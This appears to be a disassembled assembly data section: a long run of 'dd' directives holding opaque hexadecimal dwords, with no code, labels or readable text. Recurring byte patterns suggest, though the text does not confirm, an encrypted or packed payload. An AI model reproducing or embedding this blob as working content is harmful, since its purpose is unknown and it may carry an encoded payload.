		dd 740CB132h, 7C141426h, 24FD3322h, 0EDF32E04h,	5657FB8Bh
		dd 56ABA1DBh, 817F5732h, 2942EB09h, 0CB68A159h,	0F883A72Bh
		dd 5ED7BE44h, 36AEB132h, 4E6A0F54h, 56CAD052h, 515BBE32h
		dd 59EAB132h, 5675B0B5h, 0E6DA4432h, 0D73BE294h, 93B1BE9h
		dd 3657B153h, 37743A52h, 373E58B2h, 5A03B132h, 0B275B132h
		dd 0E0457789h, 2C8D89A3h, 560F3371h, 5ED3BE32h,	59ABB132h
		dd 56D5B3B3h, 368BD132h, 5675BCDAh, 94BFBF32h, 0DF6CED18h
		dd 0BF151CF4h, 60E4A5B7h, 56A45968h, 5CD2B132h,	0A5BEE649h
		dd 0C36DC9AAh, 292CB861h, 9DE2BE3Bh, 56AED068h,	56413E3Dh
		dd 4742B132h, 26D5B132h, 0A0187259h, 64E27BE7h,	0BF67DBBEh
		dd 0A1F3495h, 0D4A1B132h, 5657B139h, 27753052h,	59B9C06Dh
		dd 568B6B8Dh, 56754832h, 59BAB1CBh, 565DA2B8h, 5B26BE32h
		dd 0BF57B132h, 56ABB13Ah, 0BE9C0346h, 583E334Eh, 0D97AB132h
		dd 56BAB13Ch, 565DB8DBh, 0A2294732h, 7EFF7CD3h,	56AB7199h
		dd 56D5A1DBh, 3EE8E732h, 5E92562Eh, 517DE116h, 9FE718F3h
		dd 36AEB103h, 56362580h, 5D2FBE32h, 36D5B132h, 9C480E54h
		dd 6C312C8Bh, 56BAD005h, 0DA803152h, 8C25D752h,	0BCD0F54h
		dd 56ABD053h, 30D80152h, 3723338Ah, 449CB132h, 0A4BAB132h
		dd 479FB392h, 0CBB903D0h, 13A24E29h, 2B5CF9BDh,	59D5B17Dh
		dd 56EAB9B9h, 54FBBE32h, 36BAB132h, 56555853h, 8D57B132h
		dd 63870823h, 56ABBA34h, 56D5BADBh, 0E4E7BC32h,	0FDCD117Ah
		dd 0EC36D3C2h, 0BF5DB1CAh, 56AEB139h, 9E6F6848h, 201EEFEBh
		dd 565F1792h, 8658D132h, 5675D0CAh, 56BABADBh, 0B13AA32h
		dd 0B2CD29A6h, 1222FE25h, 0A52AD752h, 56B45030h, 0D4E54932h
		dd 5675B13Eh, 56BC3C3Dh, 0DA52B132h, 56AEB132h,	0D558B132h
		dd 56ABB12Bh, 56D95852h, 4DBB132h, 1F7DC3D8h, 945DE094h
		dd 0D952F1F6h, 56AEB132h, 0A357B153h, 56A2383Dh, 0E0B5B132h
		dd 0EBD30A52h, 5614E7E9h, 5235BE32h, 365DB132h,	56CF48B9h
		dd 56AF4D32h, 5C20BE32h, 36D5B132h, 303A063Dh, 42197AB3h
		dd 0BFBAB153h, 565DB138h, 2288E12Fh, 0AABA8815h, 56ABC0B2h
		dd 0B86FD752h, 8161D11Ch, 5614D0CEh, 4239BE32h,	0BF5DB132h
		dd 56AEB13Dh, 5ED00B35h, 0E7241576h, 9388E839h,	0BF25441Bh
		dd 5675B126h, 0ED5EB606h, 0C7EB4EF4h, 15D4610Ah, 6F7D10B0h
		dd 0BF893DB8h, 0BFB5B132h, 56EAB139h, 80FC10E1h, 0A9880D5h
		dd 30A7537Bh, 370F1D8Bh, 42BEB132h, 0ABABB132h,	568D6D4Bh
		dd 64433858h, 9A9F1D0Ch, 11741517h, 561033C5h, 4527BE32h
		dd 0BF57B132h, 56ABB13Ch, 597FFF2Ch, 0FCC7D084h, 0A62428DEh
		dd 56BA649Ah, 0A873152h, 56A8343Dh, 0DC58B132h,	56ABB132h
		dd 0E1DAD153h, 8C61D7F4h, 3675B153h, 56BABEDBh,	0D876C532h
		dd 35080A36h, 0ED3A1828h, 880D5D9Bh, 0AED5B153h, 5003B132h
		dd 0DC75B132h, 0A5A8F9F6h, 565D49ACh, 59D80652h, 5657B3B7h
		dd 37CAD132h, 583CB132h, 50EAB132h, 799B5A15h, 0E424B60Ch
		dd 181D3589h, 0BFAEB186h, 5657B137h, 6E49D6EAh,	56DB5839h
		dd 0D56BB132h, 0AC827E19h, 2C9161DDh, 81D9513Eh, 0DBA1B132h
		dd 5657B121h, 56ABBFDBh, 9E579932h, 0FDAE9C91h,	1EA8723Eh
		dd 0BFAB5F07h, 565DB120h, 0A345B58Ch, 0E03DA66Bh, 0FE490664h
		dd 2D3518E5h, 56EA3087h, 567D373Dh, 0D7DAB132h,	0B3560CC3h
		dd 0D1A1D024h, 5657B13Ah, 56A93F3Dh, 37B5B132h,	598AB132h
		dd 5675B0B6h, 8C3A4432h, 565DD071h, 59AEB1CAh, 5657A6B9h
		dd 56B95832h, 430EB132h, 0A266251h, 0CB2C7A81h,	934B378Fh
		dd 0D349A87h, 0D3A1B132h, 5657B120h, 56A25852h,	0E9CCB132h
		dd 1F82C4F9h, 36DA0F74h, 56BAD053h, 565DB8DBh, 78CCFB32h
		dd 82C6EB08h, 56AB84E5h, 56D5B8DBh, 79DF5A32h, 42CA2DADh
		dd 56BA8DD2h, 0BF5DB1CEh, 56AEB120h, 0E68A8A02h, 9827E76Fh
		dd 0EEBD7FCDh, 0C5E01E11h, 5675451Fh, 0B73BD752h, 0E83B1F19h
		dd 56CFAF5Fh, 56585832h, 5FA6B132h, 0F35C0FAAh,	403D6EF3h
		dd 0EB21384Dh, 0BFBAB145h, 565DB126h, 4BA78962h, 19663B2Eh
		dd 0D0271F5Dh, 0C12650D0h, 0C423E97h, 5B9CB132h, 86BAB132h
		dd 0CB1AB5F8h, 0A8AD5439h, 0C050B70Bh, 4626BE52h, 0BFD5B132h
		dd 56EAB139h, 2AF4F95Bh, 3E240C57h, 0BE3E0C9Ah,	56AEB132h
		dd 82BD3068h, 36AC57A5h, 0DEDAD1CEh, 56EAB132h,	3714D052h
		dd 0DD783A52h, 0D3D0D0F5h, 514B3A08h, 565A5852h, 8F4DB132h
		dd 0C6B2D72Eh, 803C37BAh, 0E8E34ED4h, 11ACDB9Bh, 59DF3853h
		dd 36A9574Dh, 5652353Dh, 9C13B132h, 0D6D63A11h,	0DB8BC2F6h
		dd 0B1E3C7B0h, 56B25835h, 3A0DB132h, 78A70A3Fh,	0D4DEEEE5h
		dd 514DCE1Dh, 9854D752h, 0BF6AFC5Bh, 0D49DD056h, 0BFBAB105h
		dd 565DB138h, 0E56B4E99h, 370629F0h, 4F43BD04h,	0AAD5B130h
		dd 289433F5h, 5675B6D4h, 0DDB5B132h, 565DB126h,	56AEBEDBh
		dd 3A1F5F32h, 0B4331C57h, 70CBC081h, 0FFE64848h, 56743E3Dh
		dd 44FB132h, 0FD877CBh,	0A95135h, 0EE05D9CAh, 0A9572D9Ah
		dd 0B6FC9C87h, 5069BE35h, 3675B132h, 37DAD052h,	0D3D04453h
		dd 514DCEDAh, 5657B8DBh, 41630732h, 0E97D2B21h,	5C036BB2h
		dd 2A75B132h, 4CC9950Bh, 388B1F6Bh, 0BF7E4E8Ch,	5657B135h
		dd 0AD293C60h, 0DF3A0E6Fh, 0B6F704B7h, 521F4D35h, 46BAD9CEh
		dd 0DF52B132h, 56AEB13Bh, 30AB3B52h, 0D2616FB3h, 5B95D953h
		dd 0D0E5B131h, 5675B137h, 0AADBD152h, 58D9BE53h, 36AEB132h
		dd 5657373Dh, 0D0A4B132h, 56D5B132h, 36EADB53h,	59A54E53h
		dd 56BABEB9h, 56575832h, 0EA93B132h, 0FB1C075Bh, 7DD2539Ch
		dd 56D25852h, 0C772B132h, 779BF438h, 0B303D7FEh, 5907D0A2h
		dd 56AEB5BEh, 94DCD132h, 596BBA53h, 56D56EB6h, 0D78CD132h
		dd 0AFCCB4C2h, 5337BE53h, 365DB132h, 37563A54h,	282933BBh
		dd 4642B6D4h, 0CCD5B132h, 8A23DEB2h, 0F6418B7Ah, 0DC2BA9C6h
		dd 0DF1D6EA6h, 0B0D023B0h, 56475835h, 647CB132h, 193CFEh
		dd 0AA0EDBCFh, 0D92E6F1Bh, 1603033Ch, 0AE5DB23Fh, 0DFA149B9h
		dd 5657B122h, 56ABBADBh, 9E0D0A32h, 93C404Bh, 8B77EC76h
		dd 53537101h, 0BC5DB132h, 7D79EB4Ah, 0DE581BC1h, 56ABB135h
		dd 56D4343Dh, 412B132h,	5675B9DBh, 0E13F7B32h, 0A988DCF9h
		dd 59AADBFDh, 5657B0BFh, 56C34832h, 0A3D5B122h,	56EEB15Ah
		dd 5C9CD132h, 7ABAB132h, 0ADBAC16Ah, 2D6B4632h,	809531CAh
		dd 0AFABDB53h, 4B6023CDh, 0C16B6D2h, 567A343Dh,	5C53B132h
		dd 125DB132h, 0FFFB97D1h, 53C283C4h, 0D5293835h, 0AFD257B3h
		dd 8F6AD153h, 54F0BE08h, 0DDBAB132h, 0D3D6D0E3h, 5148CF4Ch
		dd 593772CBh, 56ABB7B9h, 5659BE32h, 0D7EAB132h,	0CAA4F7DAh
		dd 0D5B5D07Ah, 565DB13Ah, 56AC3D3Dh, 3737B132h,	0D46C4452h
		dd 5135A8CBh, 56AAB132h, 5675B7DBh, 68A5E932h, 91F36345h
		dd 0B6BF20B0h, 5647B135h, 36CA4432h, 0DDB36BB9h, 0AE29D0E2h
		dd 5BF7BE52h, 0BFBAB132h, 565DB13Ah, 0C23E124Fh, 7512209Fh
		dd 28D50BB9h, 0D4DAB6D4h, 56EAB13Ah, 5677343Dh,	37DAB132h
		dd 595D8EB1h, 56AE77B6h
		dd 51D4BE32h, 59ABB132h, 56D5B0B1h, 29694D32h, 0D27AB322h
		dd 56BAB17Bh, 565C323Dh, 0AE56B132h, 5247CEB1h,	56C0353Dh
		dd 0D52DB132h, 598AA5F5h, 5675A2B0h, 56B45832h,	3CBAB132h
		dd 0D699EAD4h, 4F096410h, 0F86013E3h, 371C063Dh, 0A91516DBh
		dd 567E58CDh, 504EB132h, 15222166h, 0CCD349C3h,	461076C0h
		dd 56ABB133h, 56DD383Dh, 0DFE5B132h, 5675B130h,	0E653D052h
		dd 0BFA24ECDh, 56AEB135h, 95D5B4FCh, 0BF2FD709h, 56D5B13Bh
		dd 0A3529BB4h, 24AD44BAh, 46FD762Ch, 565DB131h,	56AEB4DBh
		dd 72274E32h, 0D642DC0Ah, 362A4ECDh, 56EAA1DBh,	0A36D6932h
		dd 9DED29DAh, 0C603CBFFh, 0C4368CABh, 3CB40920h, 37CA9F5Fh
		dd 56D25852h, 0F4CEB132h, 2A17B112h, 8D3BD76Eh,	953CB11Bh
		dd 56BF5952h, 0A140B132h, 410D160h, 9BF5F40Eh, 683473C3h
		dd 59B2AF92h, 37E0488Dh, 0EF3BD167h, 0E9A1664Ch, 0BADCD0E5h
		dd 5C42D1C7h, 1DD5B132h, 485C1358h, 98667A2Fh, 56BA5906h
		dd 0D707B132h, 0B0355FD8h, 0D3584835h, 56ABB120h, 56D5BCDBh
		dd 52AF5932h, 15D82F5Ah, 0D8CF88EDh, 0BF3DA5DCh, 56AEB13Ah
		dd 0F141BE38h, 0D2EBABDAh, 0DDB442B9h, 0B06B0080h, 13FE4935h
		dd 56B0583Ah, 8C80B132h, 9916055Bh, 54D11DA8h, 59CBB7BBh
		dd 0DBDA798Dh, 56EAB137h, 0ECA63054h, 0D439D0A4h, 51BB3083h
		dd 56BF5836h, 0E03FB132h, 0DA0D0B76h, 2740F70Ch, 30A379FAh
		dd 37856BF8h, 6D3B52h, 3707D052h, 56A9333Dh, 0D958B132h
		dd 56ABB133h, 942078CAh, 5003B136h, 8E75B132h, 49B8D7Ch
		dd 59A5D148h, 56AEADB5h, 44BED132h, 5CABB132h, 8C788E3Bh
		dd 9463A42Bh, 573279B4h, 0E0F89685h, 95D6D7CCh,	56AE5953h
		dd 0D70DB132h, 0B03707D8h, 5E3CD135h, 0F2EAB132h, 2BEEBC7Eh
		dd 30777BB9h, 374A138Ah, 9725D752h, 0DD3645B8h,	0B02A3280h
		dd 0E4EE4935h, 510C3083h, 57BE353Dh, 0DDDAB132h, 37AC3AE2h
		dd 0BFCE8FB9h, 5657B126h, 0A4D99500h, 0EC1DB29Dh, 320BBCD0h
		dd 726CC01h, 0AACDA998h, 0AF823A53h, 57E1073Dh,	5650353Dh
		dd 0D6A4B132h, 56D5B133h, 57AD47C7h, 9F0BEB2h, 0BFBAB132h
		dd 565DB121h, 3D98D7BFh, 68371EEBh, 2D3DDC00h, 0D7D02661h
		dd 59D3D325h, 5675A5B0h, 9EAD132h, 565DBADBh, 7CEF1832h
		dd 0A07779EBh, 1BC119h,	0BF0CB253h, 56EAB13Ah, 0FF16BA41h
		dd 85CF6D36h, 565DB7DBh, 0CC2CA332h, 0BF007113h, 56ABB128h
		dd 0D60A3A52h, 368B22E6h, 0ACF21689h, 8F91D034h, 98D6D752h
		dd 5BF6F68Ch, 0BF14D014h, 56ABB13Dh, 6BCF3E15h,	63DE24E9h
		dd 0B58E300h, 15D95883h, 56565952h, 60A8B132h, 0A68C3F9h
		dd 0A0167C86h, 56C459DCh, 3462B132h, 7B8AB246h,	1D34399Ah
		dd 3EC02357h, 8CC2193h,	56505969h, 0D57CB132h, 0D18AFE13h
		dd 9D6BD765h, 372DD6C9h, 64B334B9h, 5BB4B6D2h, 18AEB132h
		dd 5B480CDEh, 4031688Eh, 0A1693236h, 0DF673ACAh, 0A3725121h
		dd 56B6383Dh, 0D552B132h, 56AEB134h, 56573C3Dh,	8E90B132h
		dd 56E8333Dh, 6D16B132h, 62F2BEEBh, 0BFBAB132h,	565DB13Bh
		dd 755E63EBh, 0BA3905D5h, 526D32EFh, 56D9333Dh,	0D7E5B132h
		dd 5675B134h, 56BA363Dh, 0DDB4B132h, 59514ECCh,	5657B7BCh
		dd 0EDCDD132h, 6DB4DC3Fh, 186EBEFDh, 5975B132h,	56BAB0B0h
		dd 0EBD44D32h, 514EA2BBh, 0A80A58CAh, 0BECB4ECDh, 56D5B122h
		dd 9C21DF9Fh, 5391083Fh, 3ED98DC2h, 0D237ACC5h,	56AEA5DBh
		dd 3FFC7E32h, 86C150E9h, 0EBC94FAEh, 475D2A7Dh,	0ADAD252Fh
		dd 0E7DAEE01h, 56D0BED2h, 37AEB132h, 0DA58D053h, 56ABB13Fh
		dd 56D5B9DBh, 0EE09A732h, 0B87CCA26h, 0D9B572AFh, 565DB13Ch
		dd 56AEB8DBh, 30FDAE32h, 18C60BE7h, 0BFB5678Dh,	56EAB139h
		dd 733D5C3Fh, 94A4F1Ah,	0BEE21E4Ch, 56AEB132h, 0A2BD3068h
		dd 0BFAC57ACh, 56D5B13Fh, 0A3683EADh, 37529D58h, 1C52069Eh
		dd 565558CCh, 0ED35B132h, 300D803Dh, 0EC200377h, 513330B1h
		dd 56EABFDBh, 8FA30232h, 514A07DEh, 196FB162h, 0EFB05154h
		dd 5657B032h, 596B82C7h, 56D5B9B4h, 5469BE32h, 3675B132h
		dd 0BF114253h, 565DB13Ah, 0D7CA8E38h, 0EA151472h, 0D72833B9h
		dd 0DF2CB6D4h, 0B06B00B0h, 57F2BE35h, 0A3BAB132h, 564F5853h
		dd 0B87B132h, 74C3DEE7h, 164DD053h, 6AFEA3E2h, 0EEAC9ADEh
		dd 5AFBBEF1h, 59BAB132h, 565DB7B5h, 562FBE32h, 0AA57B132h
		dd 56A55852h, 0DC37B132h, 803F5B35h, 49DF0F29h,	518DB962h
		dd 565DB1DAh, 0BC2FEB32h, 51B12E83h, 0F8D1CEh, 8454E869h
		dd 0E93B259h, 0FF07753h, 0BD5135h, 565DA0DBh, 0A6E9F032h
		dd 32B13C3Ch, 78BC8C8Ch, 0BC3503E7h, 6F82F20Ah,	59A1AE5Fh
		dd 56BAA2B0h, 56535832h, 0C902B132h, 44242D81h,	7A5EC58Eh
		dd 0FA323AAAh, 56E1343Dh, 3015B132h, 0BF3B43B9h, 76986AAEh
		dd 7B1B4E53h, 5950511Bh, 56ABB0BCh, 0DB2C4D32h,	0B59559B7h
		dd 56615835h, 7D8FB132h, 9EC4A4DBh, 5D0C2052h, 0C9A5B3C2h
		dd 5F78FF4Bh, 862A9824h, 5003E3CBh, 3275B132h, 0BC856151h
		dd 0AF0D444Fh, 562EB15Ah, 45D1BE32h, 36ABB132h,	56D5BADAh
		dd 0EAF65E32h, 0B50A41ECh, 25C5B181h, 5637D06Dh, 8125D752h
		dd 56DDBE62h, 0CABB132h, 28674E53h, 36ED574Ch, 566C323Dh
		dd 4552B132h, 0F55DB132h, 0A296C429h, 1C7B6EA2h, 2E411138h
		dd 15FE6668h, 30B244CFh, 136F62B3h, 0BF6A4E53h,	565DB126h
		dd 0A9EEEAEBh, 0A4E8272h, 97CE697Ch, 0C23ACFADh, 986C8190h
		dd 0F1A73152h, 0EDB2786h, 565DA1DBh, 0D045AE32h, 8FA075B5h
		dd 0C6597C61h, 4F051CDFh, 5B03EB31h, 175B132h, 6DB1BA89h
		dd 77C1F85Ch, 91A1700h,	56D7B15Ah, 5729BE32h, 0AED5B132h
		dd 0A913B158h, 0B0F43280h, 933AD135h, 565058C3h, 0C934B132h
		dd 5CA46F63h, 0B95C9BCDh, 37C20125h, 371261CDh,	56645952h
		dd 0F48EB132h, 3E548CA2h, 7EB55Fh, 0A959836Bh, 3059133Ch
		dd 378B61B9h, 4066BEF1h, 0BF75B132h, 56BAB123h,	7C90CAAAh
		dd 6DE3CC8Fh, 0E1374F2Ah, 1D6F1A8Eh, 0BFB5E459h, 56EAB13Dh
		dd 12CF438Dh, 0B6EA16FCh, 0AB29F56Ah, 5925A342h, 5657B2BCh
		dd 0AD1CBE32h, 0BF393A53h, 56EAB121h, 5744D5DDh, 627A794Bh
		dd 7D449984h, 4E02058Fh, 361D3FEBh, 56AC313Dh, 30B5B132h
		dd 92FD42B3h, 56755953h, 0D7E0B132h, 0B0FC1BD8h, 0E8C8D135h
		dd 0BF3786CCh, 56ABB13Bh, 9DBD968Fh, 1E1077CEh,	5914D0CAh
		dd 56BAB9B8h, 0ADD6D132h, 0D19C0F54h, 5E223A53h, 56ABB8DBh
		dd 0EC0DDC32h, 749FDA0h, 0C69D04E8h, 36BAB13Dh,	189330CEh
		dd 37BD1F43h, 0A9AE4967h, 0B0D4BEA0h, 4351BE35h, 59EAB132h
		dd 5675BEB6h, 56B05832h, 61BDB132h, 0F758575Dh,	7CC60964h
		dd 4A22BE6Fh, 59D5B132h, 56EAA7B2h, 56645832h, 0FC63B132h
		dd 1B8AEDE2h, 4562892Fh, 6059FACBh, 6DBD2F71h, 0D3DABD47h
		dd 0A9154E90h, 5675B6DBh, 0DCC39232h, 593F74FEh, 56A197DAh
		dd 5BD4BE32h, 0BFABB132h, 56D5B13Ah, 0A02981Ch,	0D97A48BDh
		dd 56BB3D3Dh, 37A8B132h, 56AEA2DBh, 0BE6E0932h,	49EFA07Eh
		dd 0FB0BD238h, 6F0306B1h, 605F4DBDh, 4E30BEFBh,	0BF5DB132h
		dd 56AEB121h, 0BF0E1EFAh, 671E1A29h, 87F2EDB2h,	8CD21A92h
		dd 94B6B874h, 0D7B5B13Ah, 565DB13Fh, 56AEB9DBh,	0A5742D32h
		dd 1809E38Bh, 0E9B5E474h, 555CC7D6h, 0DD1448B8h, 543DBEDEh
		dd 365DB132h, 442FBE53h
		dd 0BF57B132h, 56ABB13Fh, 442CE929h, 2A7E20A8h,	5BE326BCh
		dd 0AA7E327Fh, 565DB6DBh, 9F4B1832h, 0E1676D8h,	0DDCDD164h
		dd 3682D0C5h, 371A3A54h, 50F9BE52h, 59BAB132h, 565DB1BCh
		dd 0BFFDD032h, 5657B135h, 0B439B9F7h, 0BEFB5387h, 56EAB132h
		dd 729F3068h, 0BFBD5791h, 565DB121h, 66FB168Bh,	22A1A2A1h
		dd 8F738C5h, 3D953670h,	0BF41B0C1h, 5675B13Ch, 1AAB9515h
		dd 0EC19075Ah, 10903D94h, 23DCC0A7h, 5120BE3Ah,	59D5B132h
		dd 56EAB0B9h, 2BFE4832h, 56B75822h, 358CB132h, 0E03A92DDh
		dd 0CC44A6FAh, 0A32B0E9Ah, 463CD165h, 79EAB132h, 0C3409837h
		dd 33EE00DCh, 74BFD0F7h, 59C879DDh, 0AE36788Dh,	56A25864h
		dd 31DB132h, 5B2A8629h,	592ABD75h, 56BAB6B3h, 30A4D132h
		dd 37CF3E88h, 56561BDAh, 56AC5832h, 5475B132h, 0E408A0F0h
		dd 57F9BE25h, 0AABAB132h, 0D2527139h, 56AEB1ECh, 36AF3AC7h
		dd 0B82AD761h, 0BF8DCE09h, 56EAB13Dh, 2167354Fh, 1F639CA4h
		dd 64AC2CF7h, 370ABA64h, 56435867h, 0F13AB132h,	0DD75C0CFh
		dd 0CE52E6FDh, 9D0AF935h, 0B4AEE087h, 0C4A232E5h, 5148CE3Dh
		dd 0D737ECC7h, 0BDAA50E1h, 0C46BD72Bh, 0D7E5D073h, 5675B13Ch
		dd 56BAB8DBh, 33587232h, 0EBE00A9Eh, 236C858Bh,	252FBE3Eh
		dd 0BFD5B132h, 56EAB135h, 13C83335h, 3040ACB5h,	0D6A4AFB9h
		dd 5F4741D5h, 0C257B132h, 286826E3h, 418F8919h,	5903AFB8h
		dd 5C75B132h, 720D6912h, 93B64593h, 0E6650DE5h,	0E3373389h
		dd 0C15C300Fh, 37AE575Bh, 0AE1A52B2h, 565265DAh, 56B25832h
		dd 0C778B132h, 56AEBF3Fh, 0B7BED330h, 0BF544ECCh, 56D5B120h
		dd 7DA6AB2Eh, 9DEA0554h, 0B22AA227h, 0C4094950h, 2B271A64h
		dd 53BFD1CEh, 87ABB132h, 20E44229h, 59B5EA63h, 5675B3BBh
		dd 37DBD132h, 565C303Dh, 0BE56B132h, 0A9A844FEh, 56AC353Dh
		dd 0DADAB132h, 56EAB133h, 0AF2E4DCEh, 56A9586Dh, 5CAEB132h
		dd 0B9599BCDh, 0DD400125h, 173FD596h, 9D40715Dh, 5D03EF39h
		dd 5B75B132h, 43C3550Fh, 25D02C5Bh, 4747651Fh, 8D57B132h
		dd 7AB7408h, 54FF218Bh,	0EF2303C6h, 68A2866Ah, 0BF46F4B9h
		dd 565DB135h, 3BE0DAFFh, 9FEE73A8h, 56A53F3Dh, 0D7B5B132h
		dd 17AAA0D1h, 56F1BE54h, 37BAB132h, 595DBDF0h, 56AEB6B6h
		dd 66ECD132h, 37C2BE10h, 56D43B3Dh, 312B132h, 87CABE52h
		dd 56BAB8DBh, 0DF845C32h, 8B68880Ch, 0DD36E9DFh, 572EBEDEh
		dd 0AFD5B132h, 0BF1275B1h, 5675B120h, 0D863944h, 0A3164FB7h
		dd 3AB48D8Bh, 5E5D932Dh, 0AEFC06C3h, 56C45864h,	984DB132h
		dd 4488BF92h, 5A2A9A64h, 78156184h, 7269F92h, 5657BBDBh
		dd 0FB69F732h, 30168E8Dh, 56705AEh, 0D47AD152h,	56BAB132h
		dd 37963A53h, 5656F4F5h, 0AE57B132h, 0D67633F5h, 56D4B6D4h
		dd 0DBE5B132h, 5675B133h, 5ECF3ACAh, 565DBCDBh,	0AFA63332h
		dd 84B7FBD0h, 0D8B214E3h, 0DDB3EAB8h, 0E1E5D12Ch, 566758C4h
		dd 79A1B132h, 0D775BF57h, 0B972676Eh, 0D6063890h, 6906F38Eh
		dd 286F3A53h, 0AEED574Ch, 0BF7DEEB9h, 56BAB120h, 0E8E2174Dh
		dd 7EB7E6D4h, 6AF352D0h, 5BA91CE5h, 8DDEFEB3h, 569A353Dh
		dd 459CB132h, 58BAB132h, 6AC960A1h, 0C3B00F95h,	7B12520Bh
		dd 2E0450B4h, 88EE229Bh, 56C6343Dh, 0E515B132h,	0A40DBED9h
		dd 5A003A53h, 1D773052h, 372ED242h, 0BFA7EEBBh,	56D5B120h
		dd 67436731h, 0C1DC251Eh, 5D5EE639h, 285ED450h,	912D9059h
		dd 5CD5BE26h, 36ABB132h, 0EE25063Dh, 7AB68226h,	0A90F5853h
		dd 59DA4ECDh, 565DB5BAh, 0ED17D732h, 0DD31D0F0h, 0AD2B4D2Ch
		dd 0F051BEDAh, 36EAB131h, 592EE252h, 59DB4A85h,	565DB7B3h
		dd 5628BE32h, 3757B132h, 59424AB2h, 56D639B6h, 56E15832h
		dd 0E609B132h, 3FCEB1B0h, 3A25CDACh, 0BD553147h, 5538353Dh
		dd 0D1A4B132h, 56D5B13Ah, 56E8303Dh, 3715B132h,	59584AB2h
		dd 565E8EB6h, 0DDC8D132h, 0ADD7D0EDh, 5A2FBED1h, 0AFD5B131h
		dd 31113054h, 73F1BED1h, 0AEBAB131h, 36AD56B2h,	0C080EB8Dh
		dd 56515930h, 0D17FB132h, 0EE152D00h, 0D78CD06Bh, 59F5BEC9h
		dd 56B9ADB6h, 564D5832h, 7BBEB132h, 3AC928D1h, 6E3DA951h
		dd 0D0C9EADh, 0B56A4E72h, 46F6BEC2h, 0BFBAB132h, 565DB139h
		dd 761040E3h, 82A5F87Eh, 0D6481C8Ch, 0D2DAC1C9h, 56EAB3D7h
		dd 56653E3Dh, 0D4B5B132h, 565DB138h, 56AEB4DBh,	0FD0F3C32h
		dd 0DDCD1562h, 5F5FBE2Ch, 36EAB132h, 7DCCD052h,	378CCE72h
		dd 0A3A552B2h, 0EE5531CEh, 5706353Dh, 5D42B132h, 7DD5B132h
		dd 0F711802h, 10B66E7Fh, 683AEAB2h, 6ED9BE37h, 59AEB133h
		dd 5657A2B1h, 5D43D132h, 0ACD5B132h, 15F1F03Ah,	0C869FDFh
		dd 37E38AC2h, 59708FB2h, 56AFA7B6h, 0AF04D132h,	1547316Dh
		dd 3EEB3153h, 57EF353Dh, 3015B132h, 0ED6462B3h,	0A93C7AB9h
		dd 0B02E6CB0h, 56455835h, 0FC6CB132h, 312D9A8Ch, 28FCF5F0h
		dd 0B9EDA132h, 7EF729FCh, 0BF433A54h, 56AEB120h, 0C92AF616h
		dd 1C345C28h, 769691A9h, 1F78C869h, 0B1F5773Ah,	0D7DC4DCAh
		dd 59B530C9h, 56AE07B6h, 0DD314832h, 0D7A4D12Ch, 56D5B130h
		dd 37127FB9h, 0BF8556B2h, 56BAB123h, 0D8FA7DBEh, 0BD363D7Ah
		dd 1510AB8Bh, 61B3DB4Bh, 0AD54D725h, 0D2E571B3h, 5675B1B1h
		dd 56BAA3DBh, 37568832h, 0ED2AF5DAh, 1B560C14h,	435EFEA5h
		dd 36C8012Fh, 0DE023052h, 0ED341295h, 2C6C1E67h, 0A9A5E453h
		dd 0B0D1BEA0h, 56515835h, 0D0CAB132h, 0F715CA9Fh, 0A455BE52h
		dd 5675B8DBh, 58F28132h, 0A03023E7h, 0BCF3BECh,	0AA1238CAh
		dd 0F612D752h, 59B4D045h, 56EAB6BCh, 0E97AD132h, 37633BECh
		dd 57A1CCB1h, 54F0343Dh, 5DBEB132h, 94ABB132h, 2E08C20Fh
		dd 4065C2D5h, 59158A15h, 0DDDB688Dh, 0B6444888h, 56BD5835h
		dd 0ADBFB132h, 0DC1DC791h, 99F31CA1h, 0D745F0Ah, 26A2D87Dh
		dd 4753E1FEh, 6E5DB132h, 0EFACD057h, 5C0E4F11h,	6C0DE1AFh
		dd 63473CD0h, 56EB313Dh, 0DD8CB132h, 0B03A6CB0h, 56575835h
		dd 7357B132h, 4957227Dh, 0C0416F64h, 425CBE52h,	0BFEAB132h
		dd 5675B13Dh, 0D2EEDBBFh, 80DA49F9h, 19456717h,	0AE70FECBh
		dd 66978853h, 56C03B3Dh, 4603B132h, 0ED75B132h,	6393B41Dh
		dd 2EC5FA7h, 0B4CF7457h, 0E9F5E10h, 571D333Dh, 59B5B132h
		dd 56EAA9B1h, 56665832h, 86B8B132h, 9F057A96h, 0F3B11495h
		dd 6FAF0CB5h, 9437659Ah, 9A6ED729h, 0EC61D0D6h,	5195A0A3h
		dd 56AD3F3Dh, 44B4B132h, 0C8AEB132h, 20FD7EFAh,	0D95D6DDDh
		dd 0BF02641h, 7C8AEA0Bh, 599CE1C0h, 54BAB132h, 0CD3D8B6h
		dd 0AFB0CBBFh, 5B6F31Ah, 0D420B4E7h, 513331EFh,	56E23C3Dh
		dd 0D77AB132h, 56BAB130h, 6A64D052h, 0EDC8D102h, 0BCD6EE47h
		dd 783D1742h, 0D9DAE953h, 56EAB002h, 564A58CBh,	914FB132h
		dd 565F4977h, 4547B132h, 4557B132h, 660DC721h, 5A487FE8h
		dd 9AC53DBFh, 1A8AED4Ah, 4C5358ACh, 0A35DB132h,	5756F4F5h
		dd 5957B132h, 56ABBDBCh, 505CBE32h, 59EAB132h, 5675B1B5h
		dd 28003A32h, 595A574Ch, 56AEB0BBh, 49DC4832h, 56B9343Dh
		dd 5B3CB132h, 0B2EAB132h, 0ADBDFBE8h, 46A2BC71h, 0FA92EB72h
		dd 0D2A16A39h, 5657B18Eh, 59758ACAh, 56D5E6B7h,	5E03D132h
		dd 0A475B132h, 387CC9B4h, 37E3B75Ch, 0A3A2ECB9h, 56AFCCB1h
		dd 56A7353Dh, 37B5B132h, 3612EC31h, 78BD0B54h, 9334453h
		dd 41D7BE36h, 59AEB132h
		dd 5657A0BDh, 56A75832h, 6084B132h, 7EED098Eh, 16778F82h
		dd 5F53566Eh, 2C5DB132h, 729AAF7Dh, 5A5F6EFEh, 36BF76B1h
		dd 308DE152h, 37E7938Ch, 9AAB3054h, 3153D074h, 59A24ECDh
		dd 56AEA3BCh, 565A5832h, 4922B132h, 0A8577F4Bh,	556C6E98h
		dd 65868B63h, 5F53D1F2h, 0F15DB132h, 5774B4E4h,	0D3163BFEh
		dd 37E169B2h, 56D0AADBh, 5B61BE32h, 3675B132h, 0FC703054h
		dd 56D7BEBDh, 37AEB132h, 0AF493A54h, 0BFA7CCB9h, 56D5B138h
		dd 4F76108Eh, 0E6BF25C5h, 4253BF12h, 175DB132h,	0E1557DB2h
		dd 124D15C3h, 6D6F2A9Ch, 3CDA9F03h, 0D6DAB16Ch,	0D27A5AC9h
